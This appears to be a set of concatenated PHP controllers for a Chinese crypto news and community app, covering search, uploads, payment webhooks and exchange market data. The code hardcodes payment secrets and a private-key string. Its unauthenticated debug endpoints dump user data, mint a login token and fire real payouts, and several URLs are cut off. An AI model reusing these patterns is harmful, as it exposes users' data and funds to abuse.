} else {

$article = Db::name('article')

->where('id', $article\_id)

->where('hide', 1)

->find();

if (!empty($article)) {

$data['gz\_uid'] = $article['uid'];

$member\_guanzhu = Db::name('member\_guanzhu')

->where($data)

->find();

if (!empty($member\_guanzhu)) {

Db::name('member\_guanzhu')

->where($data)

->delete();

$content = '用户【' . $this->member['username'] . '】已取消关注您';

notify($this->memberId, $article['uid'], $content);

return json([

'ret' => '用户取消关注文章作者成功',

'follow' => 0,

]);

} else {

$data['time'] = time();

$member\_guanzhu\_id = Db::name('member\_guanzhu')

->insertGetId($data);

if ($member\_guanzhu\_id) {

$content = '用户【' . $this->member['username'] . '】已关注您';

notify($this->memberId, $article['uid'], $content);

return json([

'ret' => '用户关注文章作者成功',

'follow' => 1,

]);

}

}

} else {

return json([

'err' => '该资讯文章不存在',

'errcode' => 211,

]);

}

}

return json([

'err' => '用户关注文章作者失败',

'errcode' => 501,

]);

}

}

<?php

namespace app\api\controller;

use think\Db;

use think\Request;

use ccxt;

class Platform extends Common

{

/\*\*

\* 架构函数

\*

\* @param Request $request Request对象

\*

\* @access public

\*/

public function \_\_construct(Request $request = null)

{

parent::\_\_construct($request);

}

/\*\*

\* @api {post} /api/platform/lists 应用列表

\* @apiName 应用列表

\* @apiGroup 应用

\* @apiVersion 0.1.0

\*

\* @apiUse MyPages

\* @apiParam {String} kind 应用分类（包括：交易所、资讯、挖矿）

\* @apiSuccess {Object[]} data 应用列表

\* @apiSuccess {Number} data.id 应用id

\* @apiSuccess {String} data.name 应用名称

\* @apiSuccess {String} data.logo 应用logo

\* @apiSuccess {String} data.details 应用简介

\* @apiSuccess {String} data.introduction 基础信息

\* @apiSuccess {String} data.address 地址

\* @apiSuccess {Number} data.symbol\_num 交易对数量

\* @apiSuccess {Number} data.score 评分

\* @apiSuccess {Number} data.market\_value 市值

\* @apiSuccess {String} data.kind 分类

\* @apiSuccess {String} data.official\_website\_url 官网地址

\* @apiSuccess {String} data.app\_download\_url 应用下载

\* @apiSuccess {String} data.alternate\_url 备用地址

\* @apiSuccess {String} data.service\_charge\_url 服务费地址

\* @apiSuccess {Number} data.spot\_trading 现货交易 0不支持 1支持

\* @apiSuccess {Number} data.futures 期货交易 0不支持 1支持

\* @apiSuccess {Number} data.legal\_currency 法币交易 0不支持 1支持

\* @apiSuccess {Number} data.otc\_trading 场外交易 0不支持 1支持

\* @apiSuccess {String} data.facebook facebook账号

\* @apiSuccess {String} data.weibo weibo账号

\* @apiSuccess {String} data.twitter twitter账号

\* @apiSuccess {String} data.telegram telegram账号

\*/

public function lists()

{

$pages=input('param.pages');

$kind=input('param.kind');

$where=array();

if($kind)

$where['kind']=$kind;

$platforms=Db::name('platform')->where($where)->order('id asc')->paginate($pages)->toarray();

$replace\_img=function($app){

$preg="/^http(s)?:\\/\\/.+/";

$app['logo']=preg\_match($preg, $app['logo'])?$app['logo']:\_imgUrl() . $app['logo'];

return $app;

};

$platforms['data']=array\_map($replace\_img, $platforms['data']);

return json($platforms);

}

/\*\*

\* @api {post} /api/platform/details 应用详情

\* @apiName 应用详情

\* @apiGroup 应用

\* @apiVersion 0.1.0

\*

\* @apiParam {Number} id 应用id（必填）

\*

\* @apiSuccess {Number} id 应用id

\* @apiSuccess {String} name 应用名称

\* @apiSuccess {String} logo 应用logo

\* @apiSuccess {String} details 应用简介

\* @apiSuccess {String} introduction 基础信息

\* @apiSuccess {String} address 地址

\* @apiSuccess {Number} symbol\_num 交易对数量

\* @apiSuccess {Number} score 评分

\* @apiSuccess {Number} market\_value 市值

\* @apiSuccess {String} official\_website\_url 官网地址

\* @apiSuccess {String} app\_download\_url 应用下载

\* @apiSuccess {String} alternate\_url 备用地址

\* @apiSuccess {String} service\_charge\_url 服务费地址

\* @apiSuccess {Number} spot\_trading 现货交易 0不支持 1支持

\* @apiSuccess {Number} futures 期货交易 0不支持 1支持

\* @apiSuccess {Number} legal\_currency 法币交易 0不支持 1支持

\* @apiSuccess {Number} otc\_trading 场外交易 0不支持 1支持

\* @apiSuccess {String} facebook facebook账号

\* @apiSuccess {String} weibo weibo账号

\* @apiSuccess {String} twitter twitter账号

\* @apiSuccess {String} telegram telegram账号

\*/

public function details() {

$id=input('post.id');

if(!$id) {

exit(json\_encode(['err' => '应用不存在']));

}

$db = Db::name('platform')->find($id);

if($db)

{

$replace\_img=function($app){

$preg="/^http(s)?:\\/\\/.+/";

$app['logo']=preg\_match($preg, $app['logo'])?$app['logo']:\_imgUrl() . $app['logo'];

return $app;

};

$db=$replace\_img($db);

$db['name']=$db['name\_zh'];

return json($db);

}else

return json(['err' => '应用不存在']);

}

/\*\*

\* @api {post} /api/platform/kind 应用分类

\* @apiName 应用分类

\* @apiGroup 应用

\* @apiVersion 0.1.0

\*

\* @apiSuccess {String[]} data 应用分类

\*/

public function kind() {

$kind=db('platform')->field('kind')->group('kind')->select();

return json(array\_filter(array\_column($kind, 'kind')));

}

}

<?php

namespace app\api\controller;

use app\api\controller\Common;

use app\api\model\Send;

use think\Db;

use think\Loader;

use think\Request;

use think\Validate;

use Qiniu\Auth;

use Qiniu\Storage\BucketManager;

use Qiniu\Storage\UploadManager;

set\_time\_limit(0);

class Index extends Common

{

protected $member = false;

protected $memberId = false;

/\*\*

\* 架构函数

\*

\* @param Request $request Request对象

\*

\* @access public

\*/

public function \_\_construct(Request $request = null)

{

parent::\_\_construct($request);

$token = input('param.token', '');

if ($token != '') {

$member\_id = \_decrypt($token);

if ($member\_id) {

$this->memberId = $member\_id;

$member = \_user($member\_id);

if ($member) {

switch ($member['hide']) {

case '0':

$recording = \_records($member['id'], 'API操作,账户被禁止');

if ($recording) {

return json([

'err' => '无法登录，原因是当前账户已被封号',

'errcode' => 223,

]);

}

break;

case '2':

$recording = \_records($member['id'], 'API操作,账户正在审核');

if ($recording) {

return json([

'err' => '当前账户正在审核中，请等待客服处理',

'errcode' => 224,

]);

}

break;

case '3':

$recording = \_records($member['id'], 'API操作，账户审核被拒绝');

if ($recording) {

return json([

'err' => '账户审核被拒绝，拒绝原因：' . $member['hidetent'],

'errcode' => 225,

]);

}

break;

}

} else {

return json([

'err' => '该用户不存在',

'errcode' => 221,

]);

}

$this->member = $member;

}

}

}

public function banben()

{

$a = input('banben');

$b = '0.0.1';

if ($a == $b) {

return json(['err' => '当前是最新版本']);

} else {

return json([

'ret' => '已有' . $b . '新版本',

'url' => 'http:

]);

}

}

public function pingguoApp()

{

return json([0]);

}

public function pingguoApp2()

{

}

public function errors()

{

return json(['ret' => 1]);

}

public function index()

{

return \_ajaxError();

}

public function notify()

{

$data = file\_get\_contents('php:

file\_put\_contents("1.txt", var\_export($data, true));

$data = json\_decode($data, true);

if ($data) {

$persistentId = $data['id'];

$video = $data['items']['0']['key'];

if ($persistentId && $video) {

$db = db::name('article')->where(['qiniu\_video' => $persistentId, 'qiniu\_video\_type' => 1])->value('id');

if ($db) {

Db::name('article')->where('id', $db)->update(['qiniu\_video\_type' => 0, 'video' => $video]);

} else {

exit('');

}

} else {

exit('');

}

} else {

exit('');

}

}

/\*\*

\* @api {post} /api/index/code 发送验证码

\* @apiName 发送验证码

\* @apiGroup 通用

\* @apiVersion 0.1.0

\* @apiParam {String} username 手机号

\* @apiParam {String} text 验证码类型 {注册|登录|找回密码|绑定}

\* @apiSuccess {String} ret 发送成功

\* @apiError {String} err 发送失败

\*/

public function code()

{

if (request()->isPost()) {

$username = input('post.username', '');

$text = input('post.text', '');

$code = \_code($username, $text);

if ($code == 1) {

cookie('code', time() + 120, 120);

$data = [

'ret' => '发送成功，验证码有效期2分钟',

];

} else {

$data = [

'err' => $code,

'errcode' => 301,

];

}

return json($data);

}

}

public function mingxi()

{

$where['hide'] = 1;

if (input('typeid/d')) {

$where['typeid'] = input('typeid/d');

}

$data = Db::name('shoplist')->field('id,title,image,jinbi,money')->where($where)->select();

foreach ($data as $k => $v) {

$data[$k]['jinbi'] = $v['jinbi'] . '金币';

$data[$k]['money'] = $v['money'] . '元';

$data[$k]['image'] = \_imgUrl() . $v['image'];

}

dump($data);

return;

$money\_login\_money = 100;

$uid = '1';

$money\_login = \_moneyDb(

[

'uid' => $uid,

'money' => ['money' => $money\_login\_money, 'content' => '金币赠送', 'type' => 1],

]

);

echo($money\_login);

}

public function ceshi()

{

$data = Db::name('shoplist\_records')

->fetchSql(true)

->group('uid')

->having('count(id)>3')

->order('id desc')

->limit(10)

->select();

echo $data;

}

public function userList()

{

$pages = input('post.pages/d') ? input('post.pages/d') : '';

$where['a.hide'] = 1;

$join = [

['\_\_ARTICLE\_\_ w', 'a.id=w.uid'],

];

$data = Db::name('member')->where($where)->alias('a')->join($join)->field('a.id')->order('a.id desc')->fetchSql(false)->paginate(100)->toarray();

foreach ($data['data'] as $k => $v) {

$user = \_user($v['id']);

$data['data'][$k]['username'] = $user['username'];

}

dump($data['data']);

}

public function pay()

{

try {

\beecloud\rest\api::registerApp('df051f1c-e9d3-4656-91bb-717346ed8dfc', '3b592873-9cc6-46c6-a3e7-a03883580d58', '91b0005a-61a5-48d2-a622-1031f090b531', 'dd58dd3b-da20-40b7-9e15-907b2555c35e');

$data = [

'timestamp' => time() \* 1000,

'channel' => 'WX\_TRANSFER',

'title' => '微信企业打款',

'transfer\_no' => "bcdemo" . time(),

'total\_fee' => 1,

'channel\_user\_id' => 'o3kKrjlROJ1qlDmFdlBQA95zxxx'

];

$result = \beecloud\rest\api::transfer($data);

if ($result->result\_code != 0) {

print\_r($result);

exit();

}

echo ' 打款成功';

} catch (Exception $e) {

echo $e->getMessage();

}

}

public function alipay()

{

Loader::import('alipay.aop.AopClient', EXTEND\_PATH, '.php');

Loader::import('alipay.aop.request.AlipayFundTransToaccountTransferRequest', EXTEND\_PATH, '.php');

Loader::import('alipay.aop.SignData', EXTEND\_PATH, '.php');

$this->userWithDraw();

return '';

}

/\*\*

\* @User 一秋

\*

\* @param $userid 用户id

\* @param $out\_biz\_no 编号

\* @param $payee\_account 提现的支付宝账号

\* @param $amount 转账金额

\* @param $payee\_real\_name 账号的真实姓名

\*

\* @return bool|Exception

\*/

private function userWithDraw($userid = 1, $out\_biz\_no = '', $payee\_account = '12385@163.com', $amount = 1, $payee\_real\_name = '123翔')

{

$out\_biz\_no = time();

$payer\_show\_name = '用户红包提现';

$remark = '红包提现到支付宝';

$aop = new \AopClient();

$config = [

'gatewayUrl' => 'https:

'appId' => '201811931182',

'rsaPrivateKey' => 'MIIEowIBQEAuBibpO/ICQg9yBzVmGfKQxiL7PRAb8Sf+cG0lKC0PCXkx7IwPy/2UFVk5COlY1AchUibYBbIrL1z2R9TMmtCyrLy9eury3ELjDiy/qMEYtmeRSDLhn0wsHx3VLxJFw2pjbPfxfim47lh+AjI9KTv67HtJT0Lbjhb9O6svvQusg+DF87Z95/d6WT9YOgfp39Ok3USw8NO7Wr/PK2a8E8No',

];

$aop->gatewayUrl = $config['gatewayUrl'];

$aop->appId = $config['appId'];

$aop->rsaPrivateKey = $config['rsaPrivateKey'];

$aop->alipayrsaPublicKey = $config['alipayrsaPublicKey'];

$aop->apiVersion = '1.0';

$aop->signType = 'RSA2';

$aop->postCharset = 'utf-8';

$aop->format = 'json';

$request = new \AlipayFundTransToaccountTransferRequest();

$request->setBizContent("{" .

"\"out\_biz\_no\":\"$out\_biz\_no\"," .

"\"payee\_type\":\"ALIPAY\_LOGONID\"," .

"\"payee\_account\":\"$payee\_account\"," .

"\"amount\":\"$amount\"," .

"\"payer\_show\_name\":\"$payer\_show\_name\"," .

"\"payee\_real\_name\":\"$payee\_real\_name\"," .

"\"remark\":\"$remark\"" .

"}");

$result = $aop->execute($request);

dump($result);

$responseNode = str\_replace(".", "\_", $request->getApiMethodName()) . "\_response";

$resultCode = $result->$responseNode->code;

dump($resultCode);

if (!empty($resultCode) && $resultCode == 10000) {

return true;

} else {

}

}

public function cityDingwei()

{

$latitude = input('latitude') ? input('latitude') : '39.904214';

$longitude = input('longitude') ? input('longitude') : '116.40741300000002';

$a = $longitude . ',' . $latitude;

if (!$latitude || !$longitude) {

return;

}

$key = '3cf31d82a4e39b85226519b62471fa10';

$data = file\_get\_contents('https:

$data = json\_decode($data, true);

if ($data['status'] == 1) {

$city = !empty($data['regeocode']['addressComponent']['city']) ? $data['regeocode']['addressComponent']['city'] : $data['regeocode']['addressComponent']['province'];

$city = str\_replace('市', '', $city);

return json(['ret' => $city]);

}

return;

$latitude = input('latitude') ? input('latitude') : '';

$longitude = input('longitude') ? input('longitude') : '';

$getData = file\_get\_contents('http:

$getData = json\_decode($getData, true);

if ($getData['status'] == 0) {

$city = $getData['result']['addressComponent']['city'];

$city = str\_replace('市', '', $city);

return json(['ret' => $city]);

}

}

public function encrypt()

{

$member = Db::name('member')->where(['mobile' => '15622289461'])->find();

$data = $member['id'] . '|www.ffxiang.cn|' . $member['password'];

echo \_encrypt($data);

}

/\*\*

\* 支付通知处理

\*

\* @return type

\*/

public function notifyWebhook()

{

Db::transaction(function () {

$appId = '0bb64709-660c-46ab-b408-30c851315139';

$masterSecret = '31377893-2f54-44d8-bf30-49a081acb031';

$jsonStr = file\_get\_contents("php:

$msg = json\_decode($jsonStr);

$sign = md5($appId . $msg->transaction\_id . $msg->transaction\_type . $msg->channel\_type . $msg->transaction\_fee . $masterSecret);

if ($sign != $msg->signature) {

$data['msg'] = $msg;

$data['ip'] = \_ip();

$data['sign'] = $sign;

$data['signature'] = $msg->signature;

$data['appId'] = $appId;

$data['masterSecret'] = $masterSecret;

file\_put\_contents("notifyWebhook.txt", var\_export($data, true) . "\r\n=====================================================================\r\n\r\n=====================================================================\r\n", FILE\_APPEND);

exit('头条开发QQ：1424445608');

return;

} else if ($msg->transaction\_type == "PAY") {

$status = $msg->trade\_success;

if (!$status) {

exit();

}

$time = time();

$where['code'] = $msg->transaction\_id;

$where['money'] = $msg->transaction\_fee;

$where['uid'] = $msg->optional->uid;

$where['type'] = $msg->sub\_channel\_type;

$where['status'] = 0;

$db = Db::name('pay\_record')->where($where)->find();

if ($db) {

Db::name('pay\_record')

->where('id', $db['id'])

->update([

'status' => 1,

'update\_time' => time(),

'info' => $jsonStr,

]);

if (!empty($msg->optional->dizhiId)) {

$db['dizhiId'] = $msg->optional->dizhiId;

}

return $this->memberData($db);

}

}

});

}

private function memberData($db)

{

Db::name('member')

->where(['id' => $db['uid']])

->setInc('zhibo\_zuan', $db['money'] / 100);

return 'success';

}

/\*\*

\* @api {post} /api/index/image\_upload 上传图片

\* @apiName 上传图片

\* @apiGroup 通用

\* @apiVersion 0.1.0

\* @apiParam {File} image 上传图片

\* @apiSuccess {Json} result 返回数据

\* @apiSuccess {String} image 七牛图片文件名（eg. 042e820210812091212723761.jpg）

\* @apiSuccess {String} preview 预览图片URL

\* @apiError {String} err 上传失败

\*/

public function image\_upload()

{

if (request()->file('image')) {

$file = request()->file('image');

$filePath = $file->getRealPath();

if (!$filePath) {

return json([

'err' => '非法操作',

'errcode' => 211,

]);

}

$ext = pathinfo($file->getInfo('name'), PATHINFO\_EXTENSION);

$geshi = ['jpg', 'png', 'gif', 'jpeg', 'JPEG', 'JPG', 'GIF', 'PNG'];

if (!in\_array($ext, $geshi)) {

return json([

'err' => '图片格式不对，请换张图片吧',

'errcode' => 202,

]);

}

$key = substr(md5($file->getRealPath()), 0, 5) . date('YmdHis') . rand(100, 999999) . '.jpg';

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db = Db::name('member\_config')->where(['type' => 'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bucket = $db['2']['text'];

$domain = $db['3']['text'];

$token = $auth->uploadToken($bucket);

$uploadMgr = new UploadManager();

list($ret, $err) = $uploadMgr->putFile($token, $key, $filePath);

if ($err !== null) {

return json([

'err' => $err,

'errcode' => 202,

]);

} else {

return json\_encode([

'image' => $ret['key'],

'preview' => \_imgUrl() . $ret['key'],

], JSON\_UNESCAPED\_SLASHES);

/\*return json([

'ret' => $qiniu\_url . $ret['key'],

]);\*/

}

} else {

return json([

'err' => '上传图片不得为空',

'errcode' => 201,

]);

}

}

/\*\*

\* @api {post} /api/index/video\_upload 上传视频

\* @apiName 上传视频

\* @apiGroup 通用

\* @apiVersion 0.1.0

\* @apiParam {File} video 上传视频

\* @apiSuccess {Json} result 返回数据

\* @apiSuccess {String} video 视频URL

\* @apiSuccess {String} preview 预览视频URL

\* @apiError {String} err 上传失败

\*/

public function video\_uploads()

{

if (request()->file('video')) {

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db = db::name('member\_config')->where(['type' => 'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bucket = $db['2']['text'];

$pipeline = $db['4']['text'];

$fops = $db['5']['text'];

$auth = new Auth($accessKey, $secretKey);

$savekey = \Qiniu\base64\_urlSafeEncode($bucket);

$fops = $fops . '|saveas/' . $savekey;

$wenurl = config()['appConfig']['url'];

$policy = [

'persistentOps' => $fops,

'persistentPipeline' => $pipeline,

'persistentNotifyUrl' => $wenurl . '/index.php/api/index/notify',

];

$uptoken = $auth->uploadToken($bucket, null, 3600, $policy);

$file = request()->file('video');

$filePath = $file->getRealPath();

$uploadMgr = new UploadManager();

list($ret, $err) = $uploadMgr->putFile($uptoken, null, $filePath);

if ($err !== null) {

return json([

'err' => '失败',

'errcode' => 501,

]);

} else {

return json\_encode([

'video' => $ret['key'],

'preview' => \_imgUrl() . $ret['key'],

], JSON\_UNESCAPED\_SLASHES);

}

} else {

return json([

'err' => '上传视频不得为空',

]);

}

}

/\*\*

\* @api {get} /api/index/hotsearchkw 热搜关键字

\* @apiName 热搜关键字

\* @apiGroup 通用

\* @apiSuccess {String} ret 热搜关键词，多个关键词使用英文,分隔

\* @apiError {String} err 暂无热搜词

\*/

public function hotsearchkw(){

$kw=config()['appConfig']['guanjianci'];

return json($kw?['ret'=>$kw]:['err'=>'暂无热搜词']);

}

/\*\*

\* @api {get} /api/index/search 全局搜索

\* @apiName 全局搜索

\* @apiGroup 通用

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {String} keyword 搜索关键字（必填）

\* @apiSuccess {Json} result 搜索结果数据

\* @apiSuccess {Array} coins 虚拟币

\* @apiSuccess {Array} members 用户

\* @apiSuccess {Array} circles 用户社区

\* @apiSuccess {Array} platform 应用

\* @apiSuccess {Array} articles 资讯文章

\* @apiSuccess {Array} circle\_articles 社区动态

\* @apiError {String} err 错误信息

\*/

public function search()

{

$keyword = input('param.keyword', '', 'strip\_tags,trim');

if ($keyword == '') {

return json([

'err' => '搜索关键字不可为空',

'errcode' => 201,

]);

}

$data['members'] = Db::name('member')

->field('password', true)

->where('nickname', 'like', '%' . $keyword . '%')

->whereOr('user', 'like', '%' . $keyword . '%')

->whereOr('mobile', 'like', '%' . $keyword . '%')

->select();

if (count($data['members']) > 0) {

foreach ($data['members'] as $key => $member) {

$data['members'][$key]['img'] = $member['img'] ? \_imgUrl().$member['img'] : '/public/style/index/member/img/userimg.gif';

}

}

$data['coins'] = Db::name('coin')

->where('currency', 'like', '%' . $keyword . '%')

->whereOr('fullname', 'like', '%' . $keyword . '%')

->whereOr('fullname\_zh', 'like', '%' . $keyword . '%')

->whereOr('introduction\_zh', 'like', '%' . $keyword . '%')

->order('follow\_num', 'desc')

->select();

if (count($data['coins']) > 0) {

$quote='USDT';

$arr = array\_column($data['coins'], 'currency');

$symbol\_merge = function ($base) use ($quote) {

return "$base/$quote";

};

$symbol = array\_map($symbol\_merge, $arr);

#$ticker\_where['exchange'] = $id;

$pre\_query=Db::name('ticker')->field('batch\_no')->order('ticker\_timestamp desc')->limit(1)->find();

$ticker\_where['symbol'] = ['in', $symbol];

$ticker\_where['batch\_no'] = $pre\_query['batch\_no'];

$tickers=Db::name('ticker')->order('ticker\_timestamp desc')->where($ticker\_where)->select();

$attach\_icon=function($coin){

$coin['icon']= '/public/coin/icon/' . strtolower($coin['currency']) . '@2x.png';

return $coin;

};

$data['coins']=array\_map($attach\_icon, $data['coins']);

$attach\_ticker=function($coin) use ($tickers, $quote) {

$symbol=$coin['currency'] . '/' .$quote;

$ticker=array\_search($symbol, array\_column($tickers, 'symbol'));

if(false===$ticker)

return $coin + ['symbol'=>$symbol, 'last\_price'=>0, 'change'=>0, 'percentage'=>0, 'base\_volume'=>0];

else

return $coin + $tickers[$ticker];

};

$data['coins']=array\_map($attach\_ticker, $data['coins']);

}

$data['circles'] = Db::name('circle')

->where('title', 'like', '%' . $keyword . '%')

->whereOr('content', 'like', '%' . $keyword . '%')

->select();

if (count($data['circles']) > 0) {

foreach ($data['circles'] as $key => $circle) {

$data['circles'][$key]['img'] = $circle['img'] ? \_imgUrl().$circle['img'] : '/public/style/index/img/default\_circle\_logo\_52x52.png';

}

}

$data['platform'] = Db::name('platform')

->where('name', 'like', '%' . $keyword. '%')

->select();

$keyword\_replace=str\_replace(' ','%',$keyword);

$data['articles'] = Db::name('article')

->where('title', 'like', '%' . $keyword\_replace . '%')

->whereOr('tags', 'like', '%' . $keyword . '%')

->whereOr('keywords', 'like', '%' . $keyword . '%')

->whereOr('description', 'like', '%' . $keyword . '%')

->select();

if (count($data['articles']) > 0) {

foreach ($data['articles'] as $key => $article) {

$data['articles'][$key]['image'] = $article['image'] ? \_imgUrl().$article['image'] : '/public/style/index/img/default\_circle\_logo\_52x52.png';

/\*if ($article['images'] != '') {

$images = explode(',', $article['images']);

foreach ($images as $image) {

$data['articles'][$key]['image\_urls'][] = \_imgUrl() . $image;

}

}\*/

$data['articles'][$key]['author\_username'] = '';

$data['articles'][$key]['author\_img'] = '';

/\*$author = Db::name('member')

->where('id', $article['uid'])

->find();\*/

$author = \_user($article['uid']);

if (!empty($author)) {

$data['articles'][$key]['author\_username'] = $author['username'];

$data['articles'][$key]['author\_img'] = $author['img'] . "?imageView2/1/w/100/h/100";

/\*$data['articles'][$key]['author\_follow\_num'] = Db::name('member\_guanzhu')

->where('gz\_uid', $article['uid'])

->count('id');

$data['articles'][$key]['author\_article\_num'] = Db::name('circle\_article')

->where('member\_id', $article['uid'])

->count('id');

$data['articles'][$key]['author\_article\_num'] += Db::name('article')

->where('uid', $article['uid'])

->count('id');\*/

}

/\*if ($this->memberId) {

$data['articles'][$key]['zan'] = Db::name('article\_zan')

->where('aid', $article['id'])

->where('uid', $this->memberId)

->where('zan', 1)

->count('id');

$data['articles'][$key]['follow'] = Db::name('member\_guanzhu')

->where('gz\_uid', $article['uid'])

->where('uid', $this->memberId)

->count('id');

}\*/

}

}

$data['circle\_articles'] = Db::name('circle\_article')

->where('title', 'like', '%' . $keyword . '%')

->whereOr('tags', 'like', '%' . $keyword . '%')

->whereOr('keywords', 'like', '%' . $keyword . '%')

->whereOr('description', 'like', '%' . $keyword . '%')

->select();

if (count($data['circle\_articles']) > 0) {

foreach ($data['circle\_articles'] as $key => $circle\_article) {

$data['circle\_articles'][$key]['image'] = $circle\_article['image'] ? \_imgUrl().$circle\_article['image'] : '/public/style/index/img/default\_circle\_logo\_52x52.png';

if ($circle\_article['images'] != '') {

$images = explode(',', $circle\_article['images']);

foreach ($images as $image) {

$data['circle\_articles'][$key]['image\_urls'][] = \_imgUrl() . $image;

}

}

$data['circle\_articles'][$key]['author\_username'] = '';

$data['circle\_articles'][$key]['author\_img'] = '';

/\*$author = Db::name('member')

->where('id', $circle\_article['member\_id'])

->find();\*/

$author = \_user($circle\_article['member\_id']);

if (!empty($author)) {

$data['circle\_articles'][$key]['author\_username'] = $author['username'];

$data['circle\_articles'][$key]['author\_img'] = $author['img'] . "?imageView2/1/w/100/h/100";

/\*$data['circle\_articles'][$key]['author\_follow\_num'] = Db::name('member\_guanzhu')

->where('gz\_uid', $circle\_article['member\_id'])

->count('id');

$data['circle\_articles'][$key]['author\_article\_num'] = Db::name('circle\_article')

->where('member\_id', $circle\_article['member\_id'])

->count('id');

$data['circle\_articles'][$key]['author\_article\_num'] += Db::name('article')

->where('uid', $circle\_article['member\_id'])

->count('id');\*/

}

/\*if ($this->memberId) {

$data['circle\_articles'][$key]['zan'] = Db::name('circle\_article\_zan')

->where('article\_id', $circle\_article['id'])

->where('member\_id', $this->memberId)

->where('zan', 1)

->count('id');

$data['circle\_articles'][$key]['follow'] = Db::name('member\_guanzhu')

->where('gz\_uid', $circle\_article['member\_id'])

->where('uid', $this->memberId)

->count('id');

}\*/

}

}

return json($data);

}

/\*\*

\* @api {get} /api/index/check\_version\_update 检查 APP 是否有版本更新

\* @apiName 检查 APP 是否有版本更新

\* @apiGroup 通用

\* @apiVersion 0.1.0

\* @apiParam {String} local\_version 本地的 APP 版本号（非必填）

\* @apiSuccess {Json} result 返回数据

\* @apiSuccess {Integer} has\_update 是否有新版本可供更新：1-是；0-否

\* @apiSuccess {Json} latest\_version 最新的 APP 版本数据

\* @apiSuccess {String} latest\_version.version 最新的 APP 版本号

\* @apiSuccess {String} latest\_version.url\_for\_android Android APP 下载地址

\* @apiSuccess {String} latest\_version.url\_for\_ios iOS APP 下载地址

\* @apiSuccess {Integer} latest\_version.create\_time 最新的 APP 版本发布时间

\* @apiError {String} err 错误信息

\*/

public function check\_version\_update()

{

$local\_version = input('param.local\_version', '', 'trim');

$latest\_version = Db::name('version')

->order('id', 'desc')

->find();

$result = [

'has\_update' => 1,

'latest\_version' => $latest\_version,

];

if ($local\_version != '' && $local\_version == $latest\_version['version']) {

$result['has\_update'] = 0;

}

return json($result);

}

/\*\*

\* @api {get} /api/index/invitation 获取邀请好友链接

\* @apiName 获取邀请好友链接

\* @apiGroup 通用

\* @apiVersion 0.1.0

\* @apiSuccess {Json} result 返回数据

\* @apiSuccess {String} invitation\_link 邀请地址URL

\* @apiSuccess {String} qrcode\_link 二维码地址URL

\* @apiError {String} err 错误信息

\* @apiError {String} errcode 错误状态码

\*/

public function invitation()

{

return json([

'invitation\_link' => 'http:

'qrcode\_link' => '/public/style/index/img/qrcode.gif',

]);

}

}

<?php

namespace app\api\controller;

use think\Db;

use think\Hook;

use think\Request;

use ccxt;

class Market extends Common

{

protected $member = false;

protected $memberId = false;

/\*\*

\* 架构函数

\*

\* @param Request $request Request对象

\*

\* @access public

\*/

public function \_\_construct(Request $request = null)

{

parent::\_\_construct($request);

$token = input('param.token', '');

if ($token != '') {

$member\_id = \_decrypt($token);

if ($member\_id) {

$this->memberId = $member\_id;

$member = \_user($member\_id);

if ($member) {

switch ($member['hide']) {

case '0':

$recording = \_records($member['id'], 'API操作,账户被禁止');

if ($recording) {

return json([

'err' => '无法登录，原因是当前账户已被封号',

'errcode' => 223,

]);

}

break;

case '2':

$recording = \_records($member['id'], 'API操作,账户正在审核');

if ($recording) {

return json([

'err' => '当前账户正在审核中，请等待客服处理',

'errcode' => 224,

]);

}

break;

case '3':

$recording = \_records($member['id'], 'API操作，账户审核被拒绝');

if ($recording) {

return json([

'err' => '账户审核被拒绝，拒绝原因：' . $member['hidetent'],

'errcode' => 225,

]);

}

break;

}

} else {

return json([

'err' => '该用户不存在',

'errcode' => 221,

]);

}

$this->member = $member;

}

}

}

/\*\*

\* @api {post} /api/market/exchange 支持的交易所

\* @apiName 支持的交易所

\* @apiGroup 行情

\* @apiVersion 0.1.0

\*/

public function exchange() {

return json(\ccxt\Exchange::$exchanges);

}

/\*\*

\* @api {post} /api/market/exchange\_markets 交易所市场数据

\* @apiName 交易所市场数据

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiParam {String} exchange 交易所id

\*/

public function exchange\_markets()

{

$validate = validate('Market');

if(!$validate->check(input('post.'))){

return json(['err' => $validate->getError()]);

}

$id = input('post.exchange');

$exchange\_id = '\\ccxt\\' . $id;

$exchange = new $exchange\_id ();

$markets = $exchange->load\_markets();

return json($exchange->markets);

}

/\*\*

\* @api {post} /api/market/exchange\_symbols 交易所交易的交易对

\* @apiName 交易所交易的交易对

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiParam {String} exchange 交易所id

\* @apiParam {String} base 虚拟币

\*/

public function exchange\_symbols()

{

$validate = validate('Market');

if(!$validate->check(input('post.'))){

return json(['err' => $validate->getError()]);

}

$id = input('post.exchange');

$base=input('post.base');

$exchange\_id = '\\ccxt\\' . $id;

$exchange = new $exchange\_id ();

$markets = $exchange->load\_markets();

$filter=function($symbol) use ($base){

$pattern="/^$base\/\w+/";

return preg\_match($pattern, $symbol)?$symbol:null;

};

if ($base)

return json(array\_values(array\_filter(array\_map($filter, $exchange->symbols))));

return json($exchange->symbols);

}

/\*\*

\* @api {post} /api/market/exchange\_currencies 交易所所在国家

\* @apiName 交易所所在国家

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiParam {String} exchange 交易所id

\*/

public function exchange\_currencies()

{

$validate = validate('Market');

if(!$validate->check(input('post.'))){

return json(['err' => $validate->getError()]);

}

$id = input('post.exchange', 'binance','org\Filter::safeHtml');

$exchange\_id = '\\ccxt\\' . $id;

$exchange = new $exchange\_id ();

$markets = $exchange->load\_markets();

return json($exchange->currencies);

}

/\*\*

\* @api {post} /api/market/ohlcv 蜡烛图

\* @apiName 蜡烛图

\* @apiGroup 行情

\* @apiVersion 0.1.0

\* @apiParam {String} exchange 交易所id

\* @apiParam {String} symbol 交易对

\* @apiParam {String} timeframe 时间框架（需要先调用【返回交易所时间框架】获取交易所支持哪些时间框架）

\* @apiSuccess {String[]} object 蜡烛 [UTC时间戳(单位：毫秒), 开盘价格, 最高价格, 最低价格, 收盘价格, 交易量（已基准货币计量）]

\*/

public function ohlcv()

{

$validate = validate('Market');

if(!$validate->check(input('post.'))){

return json(['err' => $validate->getError()]);

}

